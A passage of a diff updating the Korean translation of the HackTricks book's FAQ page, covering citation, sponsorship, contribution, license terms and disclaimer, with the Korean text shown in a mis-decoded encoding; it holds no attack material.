ํ–ˆ์Šต๋‹ˆ๋‹ค.
@@ -25,15 +25,15 @@ > > - **์ด ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•ด ์ •๋ง ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ์–ด๋–ป๊ฒŒ ๊ฐ์‚ฌํ•  ์ˆ˜ ์žˆ์„๊นŒ์š”?** -HackTricks ํŒ€์ด ์ด๋Ÿฌํ•œ ๋ชจ๋“  ๋ฆฌ์†Œ์Šค๋ฅผ ๊ณต๊ฐœ์ ์œผ๋กœ ๋ชจ์•„์ค€ ๊ฒƒ์— ๋Œ€ํ•ด [**@hacktricks_live**](https://twitter.com/hacktricks_live)๋ฅผ ์–ธ๊ธ‰ํ•˜๋ฉฐ ํŠธ์œ—์œผ๋กœ ๊ณต๊ฐœ์ ์œผ๋กœ ๊ฐ์‚ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -ํŠน๋ณ„ํžˆ ๊ฐ์‚ฌํ•œ ๋งˆ์Œ์ด ์žˆ๋‹ค๋ฉด [**์—ฌ๊ธฐ์—์„œ ํ”„๋กœ์ ํŠธ๋ฅผ ํ›„์›ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**](https://github.com/sponsors/carlospolop).\ -๊ทธ๋ฆฌ๊ณ  **Github ํ”„๋กœ์ ํŠธ์— ๋ณ„์„ ์ฃผ๋Š” ๊ฒƒ์„ ์žŠ์ง€ ๋งˆ์„ธ์š”!** (์•„๋ž˜ ๋งํฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”). +HackTricks ํŒ€์ด ์ด๋Ÿฌํ•œ ๋ชจ๋“  ๋ฆฌ์†Œ์Šค๋ฅผ ๊ณต๊ฐœ์ ์œผ๋กœ ๋ชจ์•„์ค€ ๊ฒƒ์— ๋Œ€ํ•ด ํŠธ์œ—์—์„œ [**@hacktricks_live**](https://twitter.com/hacktricks_live)๋ฅผ ์–ธ๊ธ‰ํ•˜์—ฌ ๊ณต๊ฐœ์ ์œผ๋กœ ๊ฐ์‚ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +ํŠน๋ณ„ํžˆ ๊ฐ์‚ฌํ•˜๋‹ค๋ฉด [**์—ฌ๊ธฐ์—์„œ ํ”„๋กœ์ ํŠธ๋ฅผ ํ›„์›ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**](https://github.com/sponsors/carlospolop).\ +๊ทธ๋ฆฌ๊ณ  **Github ํ”„๋กœ์ ํŠธ์— ๋ณ„์„ ์ฃผ๋Š” ๊ฒƒ์„ ์žŠ์ง€ ๋งˆ์„ธ์š”!** (์•„๋ž˜ ๋งํฌ๋ฅผ ์ฐพ์œผ์„ธ์š”). > [!TIP] > > - **ํ”„๋กœ์ ํŠธ์— ์–ด๋–ป๊ฒŒ ๊ธฐ์—ฌํ•  ์ˆ˜ ์žˆ๋‚˜์š”?** -์ปค๋ฎค๋‹ˆํ‹ฐ์™€ **์ƒˆ๋กœ์šด ํŒ๊ณผ ํŠธ๋ฆญ์„ ๊ณต์œ ํ•˜๊ฑฐ๋‚˜** ์ฑ…์—์„œ ๋ฐœ๊ฒฌํ•œ ๋ฒ„๊ทธ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ **Pull Request**๋ฅผ ํ•ด๋‹น Github ํŽ˜์ด์ง€์— ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์ƒˆ๋กœ์šด ํŒ๊ณผ ํŠธ๋ฆญ์„ ์ปค๋ฎค๋‹ˆํ‹ฐ์™€ ๊ณต์œ ํ•˜๊ฑฐ๋‚˜ ์ฑ…์—์„œ ๋ฐœ๊ฒฌํ•œ ๋ฒ„๊ทธ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ **Pull Request**๋ฅผ ํ•ด๋‹น Github ํŽ˜์ด์ง€์— ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) @@ -51,32 +51,32 @@ HackTricks ํŒ€์ด ์ด๋Ÿฌํ•œ ๋ชจ๋“  ๋ฆฌ์†Œ์Šค๋ฅผ ๊ณต๊ฐœ์ ์œผ๋กœ ๋ชจ์•„์ค€ ๊ฒƒ์— > - **HackTricks์˜ ํŽ˜์ด์ง€๋ฅผ ์–ด๋–ป๊ฒŒ ์ธ์šฉํ•  ์ˆ˜ ์žˆ๋‚˜์š”?** ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜จ ํŽ˜์ด์ง€์˜ **๋งํฌ**๊ฐ€ ๋‚˜ํƒ€๋‚˜๊ธฐ๋งŒ ํ•˜๋ฉด ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค.\ -Bibtex๊ฐ€ ํ•„์š”ํ•˜๋‹ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ˜•์‹์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +bibtex๊ฐ€ ํ•„์š”ํ•˜๋‹ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒƒ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, title = {Title of the Specific Page}, year = {Year of Last Update (check it at the end of the page)}, -url = {\url{https://book.hacktricks.xyz/specific-page}}, +url = {\url{https://book.hacktricks.wiki/specific-page}}, } ``` > [!WARNING] > > - **๋‚ด ๋ธ”๋กœ๊ทธ์— ๋ชจ๋“  HackTricks๋ฅผ ๋ณต์‚ฌํ•ด๋„ ๋˜๋‚˜์š”?** -**๊ทธ๋ ‡์ง€ ์•Š๊ธฐ๋ฅผ ๋ฐ”๋ž๋‹ˆ๋‹ค**. ์ด๋Š” **์•„๋ฌด์—๊ฒŒ๋„ ๋„์›€์ด ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค**. ๋ชจ๋“  **๋‚ด์šฉ์€ ์ด๋ฏธ ๊ณต์‹ HackTricks ์ฑ…์—์„œ ๋ฌด๋ฃŒ๋กœ ๊ณต๊ฐœ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค**. +**๊ทธ๋ ‡์ง€ ์•Š๊ธฐ๋ฅผ ๋ฐ”๋ž๋‹ˆ๋‹ค**. ์ด๋Š” **๋ˆ„๊ตฌ์—๊ฒŒ๋„ ๋„์›€์ด ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค**. ๋ชจ๋“  **๋‚ด์šฉ์€ ์ด๋ฏธ ๊ณต์‹ HackTricks ์ฑ…์—์„œ ๋ฌด๋ฃŒ๋กœ ๊ณต๊ฐœ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค**. -์‚ฌ๋ผ์งˆ๊นŒ ๊ฑฑ์ •๋œ๋‹ค๋ฉด, ๊ทธ๋ƒฅ Github์—์„œ ํฌํฌํ•˜๊ฑฐ๋‚˜ ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”. ์ด๋ฏธ ๋ฌด๋ฃŒ์ž…๋‹ˆ๋‹ค. +์‚ฌ๋ผ์งˆ๊นŒ ๋‘๋ ค์šฐ์‹ ๊ฐ€์š”? ๊ทธ๋ƒฅ Github์—์„œ ํฌํฌํ•˜๊ฑฐ๋‚˜ ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”. ์ด๋ฏธ ๋ฌด๋ฃŒ์ž…๋‹ˆ๋‹ค. > [!WARNING] > > - **์™œ ํ›„์›์ž๊ฐ€ ์žˆ๋‚˜์š”? HackTricks ์ฑ…์€ ์ƒ์—…์  ๋ชฉ์ ์œผ๋กœ ๋งŒ๋“ค์–ด์กŒ๋‚˜์š”?** -์ฒซ ๋ฒˆ์งธ **HackTricks** **๊ฐ€์น˜**๋Š” **๋ชจ๋“ ** ์‚ฌ๋žŒ์—๊ฒŒ **๋ฌด๋ฃŒ** ํ•ดํ‚น ๊ต์œก ์ž๋ฃŒ๋ฅผ ์ œ๊ณตํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. HackTricks ํŒ€์€ ์ด ์ฝ˜ํ…์ธ ๋ฅผ ์ œ๊ณตํ•˜๊ธฐ ์œ„ํ•ด **์ˆ˜์ฒœ ์‹œ๊ฐ„์„ ํ—Œ์‹ ํ–ˆ์Šต๋‹ˆ๋‹ค**, ๋‹ค์‹œ ๋งํ•ด **๋ฌด๋ฃŒ**๋กœ ์ œ๊ณตํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. +์ฒซ ๋ฒˆ์งธ **HackTricks** **๊ฐ€์น˜๋Š”** **๋ชจ๋“ ** ์‚ฌ๋žŒ์—๊ฒŒ **๋ฌด๋ฃŒ** ํ•ดํ‚น ๊ต์œก ์ž๋ฃŒ๋ฅผ ์ œ๊ณตํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. HackTricks ํŒ€์€ ์ด ์ฝ˜ํ…์ธ ๋ฅผ ์ œ๊ณตํ•˜๊ธฐ ์œ„ํ•ด **์ˆ˜์ฒœ ์‹œ๊ฐ„์„ ํ—Œ์‹ ํ–ˆ์Šต๋‹ˆ๋‹ค**, ๋‹ค์‹œ ๋งํ•ด **๋ฌด๋ฃŒ**๋กœ์š”. -HackTricks ์ฑ…์ด **์ƒ์—…์  ๋ชฉ์ **์„ ์œ„ํ•ด ๋งŒ๋“ค์–ด์กŒ๋‹ค๊ณ  ์ƒ๊ฐํ•œ๋‹ค๋ฉด, **์™„์ „ํžˆ ์ž˜๋ชป๋œ ์ƒ๊ฐ์ž…๋‹ˆ๋‹ค**. +HackTricks ์ฑ…์ด **์ƒ์—…์  ๋ชฉ์ **์„ ์œ„ํ•ด ๋งŒ๋“ค์–ด์กŒ๋‹ค๊ณ  ์ƒ๊ฐํ•˜์‹ ๋‹ค๋ฉด **์™„์ „ํžˆ ์ž˜๋ชป๋œ ์ƒ๊ฐ์ž…๋‹ˆ๋‹ค**. -์šฐ๋ฆฌ๋Š” ํ›„์›์ž๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ชจ๋“  ์ฝ˜ํ…์ธ ๊ฐ€ ๋ฌด๋ฃŒ์ด์ง€๋งŒ, ์šฐ๋ฆฌ๋Š” **์ปค๋ฎค๋‹ˆํ‹ฐ๊ฐ€ ์šฐ๋ฆฌ์˜ ์ž‘์—…์„ ๊ฐ์‚ฌํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€๋Šฅ์„ฑ์„ ์ œ๊ณตํ•˜๊ณ  ์‹ถ์Šต๋‹ˆ๋‹ค**. ๋”ฐ๋ผ์„œ ์‚ฌ๋žŒ๋“ค์—๊ฒŒ [**Github ํ›„์›์ž**](https://github.com/sponsors/carlospolop)๋ฅผ ํ†ตํ•ด HackTricks์— ๊ธฐ๋ถ€ํ•  ์ˆ˜ ์žˆ๋Š” ์˜ต์…˜์„ ์ œ๊ณตํ•˜๊ณ , **๊ด€๋ จ ์‚ฌ์ด๋ฒ„ ๋ณด์•ˆ ํšŒ์‚ฌ๋“ค**์ด HackTricks๋ฅผ ํ›„์›ํ•˜๊ณ  **์ฑ…์— ๊ด‘๊ณ ๋ฅผ ๊ฒŒ์žฌ**ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด **๊ด‘๊ณ **๋Š” ํ•ญ์ƒ **๊ฐ€์‹œ์ **์ด์ง€๋งŒ **ํ•™์Šต** ๊ณผ์ •์— ๋ฐฉํ•ด๊ฐ€ ๋˜์ง€ ์•Š๋Š” ๊ณณ์— ๋ฐฐ์น˜๋ฉ๋‹ˆ๋‹ค. +์šฐ๋ฆฌ๋Š” ํ›„์›์ž๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ชจ๋“  ์ฝ˜ํ…์ธ ๊ฐ€ ๋ฌด๋ฃŒ์ด์ง€๋งŒ, ์šฐ๋ฆฌ๋Š” **์ปค๋ฎค๋‹ˆํ‹ฐ๊ฐ€ ์šฐ๋ฆฌ์˜ ์ž‘์—…์„ ๊ฐ์‚ฌํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€๋Šฅ์„ฑ์„ ์ œ๊ณตํ•˜๊ณ  ์‹ถ์Šต๋‹ˆ๋‹ค**. ๋”ฐ๋ผ์„œ ์‚ฌ๋žŒ๋“ค์—๊ฒŒ [**Github ํ›„์›์ž**](https://github.com/sponsors/carlospolop)๋ฅผ ํ†ตํ•ด HackTricks์— ๊ธฐ๋ถ€ํ•  ์ˆ˜ ์žˆ๋Š” ์˜ต์…˜์„ ์ œ๊ณตํ•˜๊ณ , **๊ด€๋ จ ์‚ฌ์ด๋ฒ„ ๋ณด์•ˆ ํšŒ์‚ฌ๋“ค**์ด HackTricks๋ฅผ ํ›„์›ํ•˜๊ณ  **์ฑ…์— ๊ด‘๊ณ ๋ฅผ ๊ฒŒ์žฌ**ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด **๊ด‘๊ณ **๋Š” ํ•ญ์ƒ **๋ˆˆ์— ๋„์ง€๋งŒ** ํ•™์Šต ๊ณผ์ •์— **๋ฐฉํ•ด๊ฐ€ ๋˜์ง€ ์•Š๋Š”** ๊ณณ์— ๋ฐฐ์น˜๋ฉ๋‹ˆ๋‹ค. HackTricks๋Š” HackTricks๋ณด๋‹ค ํ›จ์”ฌ ์ ์€ ์ฝ˜ํ…์ธ ๋ฅผ ๊ฐ€์ง„ ๋‹ค๋ฅธ ๋ธ”๋กœ๊ทธ์ฒ˜๋Ÿผ ์„ฑ๊ฐ€์‹  ๊ด‘๊ณ ๋กœ ๊ฐ€๋“ ์ฐจ์ง€ ์•Š์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. HackTricks๋Š” ์ƒ์—…์  ๋ชฉ์ ์„ ์œ„ํ•ด ๋งŒ๋“ค์–ด์ง€์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. @@ -84,7 +84,7 @@ HackTricks๋Š” HackTricks๋ณด๋‹ค ํ›จ์”ฌ ์ ์€ ์ฝ˜ํ…์ธ ๋ฅผ ๊ฐ€์ง„ ๋‹ค๋ฅธ ๋ธ”๋กœ > > - **๋‚ด ๋ธ”๋กœ๊ทธ ๊ฒŒ์‹œ๋ฌผ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•œ HackTricks ํŽ˜์ด์ง€๊ฐ€ ์žˆ์ง€๋งŒ ์ฐธ์กฐ๋˜์ง€ ์•Š์•˜๋‹ค๋ฉด ์–ด๋–ป๊ฒŒ ํ•ด์•ผ ํ•˜๋‚˜์š”?** -**์ฃ„์†กํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฐ ์ผ์ด ๋ฐœ์ƒํ•ด์„œ๋Š” ์•ˆ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค**. HackTricks ํŽ˜์ด์ง€์˜ ๋งํฌ์™€ ๊ท€ํ•˜์˜ ๋ธ”๋กœ๊ทธ ๋งํฌ๋ฅผ Github ์ด์Šˆ, Twitter, Discord ๋“ฑ์„ ํ†ตํ•ด ์•Œ๋ ค์ฃผ์‹œ๋ฉด **ํ™•์ธํ•˜๊ณ  ASAP ์ถ”๊ฐ€ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค**. +**์ฃ„์†กํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฐ ์ผ์ด ๋ฐœ์ƒํ•ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค**. HackTricks ํŽ˜์ด์ง€์˜ ๋งํฌ์™€ ๊ท€ํ•˜์˜ ๋ธ”๋กœ๊ทธ ๋งํฌ๋ฅผ Github ์ด์Šˆ, Twitter, Discord ๋“ฑ์„ ํ†ตํ•ด ์•Œ๋ ค์ฃผ์‹œ๋ฉด **ํ™•์ธํ•˜๊ณ  ASAP ์ถ”๊ฐ€ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค**. > [!CAUTION] > @@ -96,7 +96,7 @@ HackTricks์— ๊ท€ํ•˜์˜ ํŽ˜์ด์ง€ ๋งํฌ๊ฐ€ ์žˆ๋Š” ๊ฒƒ์€: - ์ฝ˜ํ…์ธ ๊ฐ€ **15๊ฐœ ์ด์ƒ์˜ ์–ธ์–ด๋กœ ๋ฒˆ์—ญ**๋˜์–ด ๋” ๋งŽ์€ ์‚ฌ๋žŒ๋“ค์ด ์ด ์ฝ˜ํ…์ธ ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. - **HackTricks๋Š”** ์‚ฌ๋žŒ๋“ค์ด **๊ท€ํ•˜์˜ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜๋„๋ก ์žฅ๋ คํ•ฉ๋‹ˆ๋‹ค** (์—ฌ๋Ÿฌ ์‚ฌ๋žŒ๋“ค์ด HackTricks์— ์ž์‹ ์˜ ํŽ˜์ด์ง€๊ฐ€ ํฌํ•จ๋œ ์ดํ›„๋กœ ๋” ๋งŽ์€ ๋ฐฉ๋ฌธ์„ ๋ฐ›์•˜๋‹ค๊ณ  ์–ธ๊ธ‰ํ–ˆ์Šต๋‹ˆ๋‹ค). -๊ทธ๋Ÿฌ๋‚˜ ์—ฌ์ „ํžˆ ๊ท€ํ•˜์˜ ๋ธ”๋กœ๊ทธ ์ฝ˜ํ…์ธ ๊ฐ€ HackTricks์—์„œ ์ œ๊ฑฐ๋˜๊ธฐ๋ฅผ ์›ํ•˜์‹ ๋‹ค๋ฉด, ์•Œ๋ ค์ฃผ์‹œ๋ฉด **๊ท€ํ•˜์˜ ๋ธ”๋กœ๊ทธ์— ๋Œ€ํ•œ ๋ชจ๋“  ๋งํฌ**์™€ ๊ทธ์— ๊ธฐ๋ฐ˜ํ•œ ์ฝ˜ํ…์ธ ๋ฅผ **ํ™•์‹คํžˆ ์ œ๊ฑฐํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค**. +๊ทธ๋Ÿฌ๋‚˜ ์—ฌ์ „ํžˆ ๊ท€ํ•˜์˜ ๋ธ”๋กœ๊ทธ ์ฝ˜ํ…์ธ ๊ฐ€ HackTricks์—์„œ ์ œ๊ฑฐ๋˜๊ธฐ๋ฅผ ์›ํ•˜์‹ ๋‹ค๋ฉด ์•Œ๋ ค์ฃผ์‹œ๋ฉด **๊ท€ํ•˜์˜ ๋ธ”๋กœ๊ทธ์— ๋Œ€ํ•œ ๋ชจ๋“  ๋งํฌ**์™€ ๊ทธ์— ๊ธฐ๋ฐ˜ํ•œ ์ฝ˜ํ…์ธ ๋ฅผ **ํ™•์‹คํžˆ ์ œ๊ฑฐํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค**. > [!CAUTION] > @@ -106,35 +106,35 @@ HackTricks์— ๊ท€ํ•˜์˜ ํŽ˜์ด์ง€ ๋งํฌ๊ฐ€ ์žˆ๋Š” ๊ฒƒ์€: ## LICENSE -Copyright ยฉ ๋ชจ๋“  ๊ถŒ๋ฆฌ ๋ณด์œ , ๋ณ„๋„๋กœ ๋ช…์‹œ๋˜์ง€ ์•Š๋Š” ํ•œ. +Copyright ยฉ ๋ชจ๋“  ๊ถŒ๋ฆฌ ๋ณด์œ . ๋ณ„๋„๋กœ ๋ช…์‹œ๋˜์ง€ ์•Š๋Š” ํ•œ. -#### ๋ผ์ด์„ผ์Šค ์š”์•ฝ: +#### License Summary: -- ์ €์ž‘๊ถŒ ํ‘œ์‹œ: ๊ท€ํ•˜๋Š” ์ž์œ ๋กญ๊ฒŒ: -- ๊ณต์œ  โ€” ๋ชจ๋“  ๋งค์ฒด๋‚˜ ํ˜•์‹์œผ๋กœ ์ž๋ฃŒ๋ฅผ ๋ณต์‚ฌํ•˜๊ณ  ์žฌ๋ฐฐํฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- ์ˆ˜์ • โ€” ์ž๋ฃŒ๋ฅผ ๋ฆฌ๋ฏน์Šคํ•˜๊ณ  ๋ณ€ํ˜•ํ•˜๋ฉฐ ๊ธฐ๋ฐ˜์„ ๊ตฌ์ถ•ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- Attribution: ๊ท€ํ•˜๋Š” ์ž์œ ๋กญ๊ฒŒ: +- Share โ€” ์–ด๋–ค ๋งค์ฒด๋‚˜ ํ˜•์‹์œผ๋กœ๋“  ์ž๋ฃŒ๋ฅผ ๋ณต์‚ฌํ•˜๊ณ  ์žฌ๋ฐฐํฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- Adapt โ€” ์ž๋ฃŒ๋ฅผ ๋ฆฌ๋ฏน์Šคํ•˜๊ณ  ๋ณ€ํ˜•ํ•˜๋ฉฐ ๊ธฐ๋ฐ˜์„ ๊ตฌ์ถ•ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -#### ์ถ”๊ฐ€ ์กฐ๊ฑด: +#### Additional Terms: -- ์ œ3์ž ์ฝ˜ํ…์ธ : ์ด ๋ธ”๋กœ๊ทธ/์ฑ…์˜ ์ผ๋ถ€๋Š” ๋‹ค๋ฅธ ๋ธ”๋กœ๊ทธ๋‚˜ ์ถœํŒ๋ฌผ์˜ ๋ฐœ์ทŒ์™€ ๊ฐ™์€ ๋‹ค๋ฅธ ์ถœ์ฒ˜์˜ ์ฝ˜ํ…์ธ ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ฝ˜ํ…์ธ ์˜ ์‚ฌ์šฉ์€ ๊ณต์ • ์‚ฌ์šฉ ์›์น™์— ๋”ฐ๋ผ ์ด๋ฃจ์–ด์ง€๊ฑฐ๋‚˜ ํ•ด๋‹น ์ €์ž‘๊ถŒ ์†Œ์œ ์ž์˜ ๋ช…์‹œ์  ํ—ˆ๊ฐ€๋ฅผ ๋ฐ›์Šต๋‹ˆ๋‹ค. ์ œ3์ž ์ฝ˜ํ…์ธ ์— ๋Œ€ํ•œ ํŠน์ • ๋ผ์ด์„ผ์Šค ์ •๋ณด๋Š” ์›๋ณธ ์ถœ์ฒ˜๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค. -- ์ €์ž‘๊ถŒ: HackTricks๊ฐ€ ์ €์ž‘ํ•œ ์›๋ณธ ์ฝ˜ํ…์ธ ๋Š” ์ด ๋ผ์ด์„ผ์Šค์˜ ์กฐ๊ฑด์— ๋”ฐ๋ฆ…๋‹ˆ๋‹ค. ๊ณต์œ ํ•˜๊ฑฐ๋‚˜ ์ˆ˜์ •ํ•  ๋•Œ ์ด ์ž‘์—…์„ ์ €์ž์—๊ฒŒ ๊ท€์†์‹œํ‚ค๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. +- Third-Party Content: ์ด ๋ธ”๋กœ๊ทธ/์ฑ…์˜ ์ผ๋ถ€๋Š” ๋‹ค๋ฅธ ๋ธ”๋กœ๊ทธ๋‚˜ ์ถœํŒ๋ฌผ์˜ ๋ฐœ์ทŒ์™€ ๊ฐ™์€ ๋‹ค๋ฅธ ์ถœ์ฒ˜์˜ ์ฝ˜ํ…์ธ ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ฝ˜ํ…์ธ ์˜ ์‚ฌ์šฉ์€ ๊ณต์ • ์‚ฌ์šฉ์˜ ์›์น™์— ๋”ฐ๋ผ ์ด๋ฃจ์–ด์ง€๊ฑฐ๋‚˜ ํ•ด๋‹น ์ €์ž‘๊ถŒ ์†Œ์œ ์ž์˜ ๋ช…์‹œ์ ์ธ ํ—ˆ๊ฐ€๋ฅผ ๋ฐ›์Šต๋‹ˆ๋‹ค. ์ œ3์ž ์ฝ˜ํ…์ธ ์— ๋Œ€ํ•œ ํŠน์ • ๋ผ์ด์„ผ์Šค ์ •๋ณด๋Š” ์›๋ณธ ์ถœ์ฒ˜๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค. +- Authorship: HackTricks๊ฐ€ ์ €์ž‘ํ•œ ์›๋ณธ ์ฝ˜ํ…์ธ ๋Š” ์ด ๋ผ์ด์„ผ์Šค์˜ ์กฐ๊ฑด์— ๋”ฐ๋ฆ…๋‹ˆ๋‹ค. ๊ณต์œ ํ•˜๊ฑฐ๋‚˜ ์ ์‘ํ•  ๋•Œ ์ด ์ž‘์—…์„ ์ €์ž์—๊ฒŒ ๊ท€์†์‹œํ‚ค๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. -#### ๋ฉด์ œ: +#### Exemptions: -- ์ƒ์—…์  ์‚ฌ์šฉ: ์ด ์ฝ˜ํ…์ธ ์˜ ์ƒ์—…์  ์‚ฌ์šฉ์— ๋Œ€ํ•œ ๋ฌธ์˜๋Š” ์ €์—๊ฒŒ ์—ฐ๋ฝํ•ด ์ฃผ์‹ญ์‹œ์˜ค. +- Commercial Use: ์ด ์ฝ˜ํ…์ธ ์˜ ์ƒ์—…์  ์‚ฌ์šฉ์— ๋Œ€ํ•œ ๋ฌธ์˜๋Š” ์ €์—๊ฒŒ ์—ฐ๋ฝํ•ด ์ฃผ์‹ญ์‹œ์˜ค. ์ด ๋ผ์ด์„ผ์Šค๋Š” ์ฝ˜ํ…์ธ ์™€ ๊ด€๋ จํ•˜์—ฌ ์ƒํ‘œ ๋˜๋Š” ๋ธŒ๋žœ๋“œ ๊ถŒ๋ฆฌ๋ฅผ ๋ถ€์—ฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด ๋ธ”๋กœ๊ทธ/์ฑ…์— ํฌํ•จ๋œ ๋ชจ๋“  ์ƒํ‘œ ๋ฐ ๋ธŒ๋žœ๋“œ๋Š” ํ•ด๋‹น ์†Œ์œ ์ž์˜ ์žฌ์‚ฐ์ž…๋‹ˆ๋‹ค. -**HackTricks์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ์‚ฌ์šฉํ•จ์œผ๋กœ์จ ๊ท€ํ•˜๋Š” ์ด ๋ผ์ด์„ผ์Šค์˜ ์กฐ๊ฑด์„ ์ค€์ˆ˜ํ•  ๊ฒƒ์— ๋™์˜ํ•ฉ๋‹ˆ๋‹ค. ์ด ์กฐ๊ฑด์— ๋™์˜ํ•˜์ง€ ์•Š์œผ๋ฉด ์ด ์›น์‚ฌ์ดํŠธ์— ์ ‘๊ทผํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค.** +**HackTricks์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ์‚ฌ์šฉํ•จ์œผ๋กœ์จ ๊ท€ํ•˜๋Š” ์ด ๋ผ์ด์„ผ์Šค์˜ ์กฐ๊ฑด์„ ์ค€์ˆ˜ํ•˜๋Š” ๋ฐ ๋™์˜ํ•ฉ๋‹ˆ๋‹ค. ์ด ์กฐ๊ฑด์— ๋™์˜ํ•˜์ง€ ์•Š์œผ๋ฉด ์ด ์›น์‚ฌ์ดํŠธ์— ์ ‘๊ทผํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค.** -## **๋ฉด์ฑ… ์กฐํ•ญ** +## **Disclaimer** > [!CAUTION] > ์ด ์ฑ… 'HackTricks'๋Š” ๊ต์œก ๋ฐ ์ •๋ณด ์ œ๊ณต ๋ชฉ์ ์œผ๋กœ๋งŒ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด ์ฑ…์˜ ๋‚ด์šฉ์€ '์žˆ๋Š” ๊ทธ๋Œ€๋กœ' ์ œ๊ณต๋˜๋ฉฐ, ์ €์ž์™€ ์ถœํŒ์‚ฌ๋Š” ์ด ์ฑ…์— ํฌํ•จ๋œ ์ •๋ณด, ์ œํ’ˆ, ์„œ๋น„์Šค ๋˜๋Š” ๊ด€๋ จ ๊ทธ๋ž˜ํ”ฝ์˜ ์™„์ „์„ฑ, ์ •ํ™•์„ฑ, ์‹ ๋ขฐ์„ฑ, ์ ํ•ฉ์„ฑ ๋˜๋Š” ๊ฐ€์šฉ์„ฑ์— ๋Œ€ํ•ด ๋ช…์‹œ์ ์ด๊ฑฐ๋‚˜ ๋ฌต์‹œ์ ์ธ ์–ด๋–ค ์ข…๋ฅ˜์˜ ์ง„์ˆ ์ด๋‚˜ ๋ณด์ฆ์„ ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ท€ํ•˜๊ฐ€ ์ด๋Ÿฌํ•œ ์ •๋ณด์— ์˜์กดํ•˜๋Š” ๊ฒƒ์€ ์ „์ ์œผ๋กœ ๊ท€ํ•˜์˜ ์œ„ํ—˜์ž…๋‹ˆ๋‹ค. > -> ์ €์ž์™€ ์ถœํŒ์‚ฌ๋Š” ๋ฐ์ดํ„ฐ ์†์‹ค์ด๋‚˜ ์ด์ต ์†์‹ค๋กœ ์ธํ•ด ๋ฐœ์ƒํ•˜๋Š” ๋ชจ๋“  ์†์‹ค์ด๋‚˜ ์†ํ•ด, ๊ฐ„์ ‘์  ๋˜๋Š” ๊ฒฐ๊ณผ์  ์†์‹ค์ด๋‚˜ ์†ํ•ด๋ฅผ 